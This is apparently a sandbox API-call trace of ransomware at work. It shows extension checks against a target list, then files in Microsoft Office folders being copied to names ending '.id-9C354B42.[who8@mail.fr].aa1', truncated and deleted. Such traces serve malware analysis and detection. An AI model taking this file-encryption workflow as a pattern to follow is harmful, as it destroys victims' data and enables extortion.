(lpString1=".1cd", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.426] lstrlenW (lpString=".jpg") returned 4 [0212.426] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.426] lstrlenW (lpString=".doc") returned 4 [0212.426] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString=".docx") returned 5 [0212.426] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0212.426] lstrlenW (lpString=".pdf") returned 4 [0212.426] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString=".xls") returned 4 [0212.426] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString=".xlsx") returned 5 [0212.426] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0212.426] lstrlenW (lpString=".ppt") returned 4 [0212.426] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.426] lstrlenW (lpString=".zip") returned 4 [0212.426] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0212.426] lstrlenW (lpString=".rar") returned 4 [0212.426] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString=".bz2") returned 4 [0212.426] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0212.426] lstrlenW (lpString=".7z") returned 3 [0212.426] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0212.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.427] lstrlenW (lpString=".dbf") returned 4 [0212.427] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0212.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.427] lstrlenW (lpString=".1cd") returned 4 [0212.427] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0212.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0212.427] lstrlenW (lpString=".jpg") returned 4 [0212.427] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0212.427] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0212.427] lstrlenW (lpString="SETUP.XML") returned 9 [0212.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.566] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2424) returned 1 [0212.566] CloseHandle (hObject=0x204) returned 1 [0212.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0212.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0212.566] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.567] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0214.020] GetLastError () returned 0x0 [0214.020] ReadFile (in: hFile=0x204, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x978, lpOverlapped=0x0) returned 1 [0214.026] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x980, lpOverlapped=0x0) returned 1 [0214.266] ReadFile (in: hFile=0x204, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.266] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0214.266] SetEndOfFile (hFile=0x1fc) returned 1 [0214.266] CloseHandle (hObject=0x1fc) returned 1 [0214.267] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.267] SetEndOfFile (hFile=0x204) returned 1 [0214.733] CloseHandle (hObject=0x204) returned 1 [0214.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0214.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.734] lstrlenW (lpString=".doc") returned 4 [0214.734] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.734] lstrlenW (lpString=".docx") returned 5 [0214.734] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0214.734] lstrlenW (lpString=".pdf") returned 4 [0214.734] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.734] lstrlenW (lpString=".xls") returned 4 [0214.734] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.734] lstrlenW (lpString=".xlsx") returned 5 [0214.734] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0214.734] lstrlenW (lpString=".ppt") returned 4 [0214.734] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.734] lstrlenW (lpString=".zip") returned 4 [0214.734] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.734] lstrlenW (lpString=".rar") returned 4 [0214.734] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString=".bz2") returned 4 [0214.735] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString=".7z") returned 3 [0214.735] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.735] lstrlenW (lpString=".dbf") returned 4 [0214.735] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.735] lstrlenW (lpString=".1cd") returned 4 [0214.735] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.735] lstrlenW (lpString=".jpg") returned 4 [0214.735] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.735] lstrlenW (lpString=".doc") returned 4 [0214.735] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString=".docx") returned 5 [0214.735] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0214.735] lstrlenW (lpString=".pdf") returned 4 [0214.735] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString=".xls") returned 4 [0214.735] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.735] lstrlenW (lpString=".xlsx") returned 5 [0214.735] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0214.735] lstrlenW (lpString=".ppt") returned 4 [0214.735] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.736] lstrlenW (lpString=".zip") returned 4 [0214.736] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.736] lstrlenW (lpString=".rar") returned 4 [0214.736] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.736] lstrlenW (lpString=".bz2") returned 4 [0214.736] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.736] lstrlenW (lpString=".7z") returned 3 [0214.736] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.736] lstrlenW (lpString=".dbf") returned 4 [0214.736] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.736] lstrlenW (lpString=".1cd") returned 4 [0214.736] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0214.736] lstrlenW (lpString=".jpg") returned 4 [0214.736] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.736] lstrcmpiW (lpString1=".jpg", lpString2=".aa1") returned 1 [0214.736] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0214.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0218.474] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2575) returned 1 [0218.474] CloseHandle (hObject=0x1f4) returned 1 [0218.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0218.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.475] lstrlenW (lpString=".doc") returned 4 [0218.475] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0218.475] lstrlenW (lpString=".docx") returned 5 [0218.475] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0218.475] lstrlenW (lpString=".pdf") returned 4 [0218.475] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0218.475] lstrlenW (lpString=".xls") returned 4 [0218.475] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0218.475] lstrlenW (lpString=".xlsx") returned 5 [0218.475] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0218.475] lstrlenW (lpString=".ppt") returned 4 [0218.475] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0218.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.475] lstrlenW (lpString=".zip") returned 4 [0218.475] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0218.475] lstrlenW (lpString=".rar") returned 4 [0218.475] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0218.475] lstrlenW (lpString=".bz2") returned 4 [0218.475] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0218.475] lstrlenW (lpString=".7z") returned 3 [0218.476] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0218.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.476] lstrlenW (lpString=".dbf") returned 4 [0218.476] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0218.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.476] lstrlenW (lpString=".1cd") returned 4 [0218.476] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0218.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.476] lstrlenW (lpString=".jpg") returned 4 [0218.476] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0218.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.476] lstrlenW (lpString=".doc") returned 4 [0218.476] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0218.476] lstrlenW (lpString=".docx") returned 5 [0218.476] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0218.476] lstrlenW (lpString=".pdf") returned 4 [0218.476] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0218.476] lstrlenW (lpString=".xls") returned 4 [0218.476] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0218.476] lstrlenW (lpString=".xlsx") returned 5 [0218.476] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0218.476] lstrlenW (lpString=".ppt") returned 4 [0218.476] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0218.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.476] lstrlenW (lpString=".zip") returned 4 [0218.476] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0218.476] lstrlenW (lpString=".rar") returned 4 [0218.476] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0218.476] lstrlenW (lpString=".bz2") returned 4 [0218.477] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0218.477] lstrlenW (lpString=".7z") returned 3 [0218.477] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0218.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.477] lstrlenW (lpString=".dbf") returned 4 [0218.477] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0218.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.477] lstrlenW (lpString=".1cd") returned 4 [0218.477] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0218.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0218.477] lstrlenW (lpString=".jpg") returned 4 [0218.477] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0218.477] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0218.477] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0218.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0218.632] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2985) returned 1 [0218.632] CloseHandle (hObject=0x17c) returned 1 [0218.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0218.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0218.632] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.632] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0218.670] GetLastError () returned 0x0 [0218.670] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0xba9, lpOverlapped=0x0) returned 1 [0218.672] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0218.674] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.674] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0218.674] SetEndOfFile (hFile=0x1b0) returned 1 [0218.674] CloseHandle (hObject=0x1b0) returned 1 [0218.674] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.674] SetEndOfFile (hFile=0x17c) returned 1 [0218.675] CloseHandle (hObject=0x17c) returned 1 [0218.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0218.676] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0218.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.676] lstrlenW (lpString=".doc") returned 4 [0218.676] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0218.676] lstrlenW (lpString=".docx") returned 5 [0218.676] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0218.676] lstrlenW (lpString=".pdf") returned 4 [0218.676] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0218.676] lstrlenW (lpString=".xls") returned 4 [0218.676] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0218.676] lstrlenW (lpString=".xlsx") returned 5 [0218.676] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0218.676] lstrlenW (lpString=".ppt") returned 4 [0218.676] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0218.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.676] lstrlenW (lpString=".zip") returned 4 [0218.676] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0218.676] lstrlenW (lpString=".rar") returned 4 [0218.676] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0218.676] lstrlenW (lpString=".bz2") returned 4 [0218.677] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0218.677] lstrlenW (lpString=".7z") returned 3 [0218.677] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0218.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.677] lstrlenW (lpString=".dbf") returned 4 [0218.677] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0218.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.677] lstrlenW (lpString=".1cd") returned 4 [0218.677] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0218.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.677] lstrlenW (lpString=".jpg") returned 4 [0218.677] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0218.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.677] lstrlenW (lpString=".doc") returned 4 [0218.677] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0218.677] lstrlenW (lpString=".docx") returned 5 [0218.677] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0218.677] lstrlenW (lpString=".pdf") returned 4 [0218.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0218.677] lstrlenW (lpString=".xls") returned 4 [0218.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0218.677] lstrlenW (lpString=".xlsx") returned 5 [0218.677] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0218.677] lstrlenW (lpString=".ppt") returned 4 [0218.677] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0218.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.677] lstrlenW (lpString=".zip") returned 4 [0218.677] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0218.677] lstrlenW (lpString=".rar") returned 4 [0218.677] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0218.678] lstrlenW (lpString=".bz2") returned 4 [0218.678] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0218.678] lstrlenW (lpString=".7z") returned 3 [0218.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0218.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.678] lstrlenW (lpString=".dbf") returned 4 [0218.678] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0218.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0218.678] lstrlenW (lpString=".1cd") returned 4 [0218.678] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0218.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 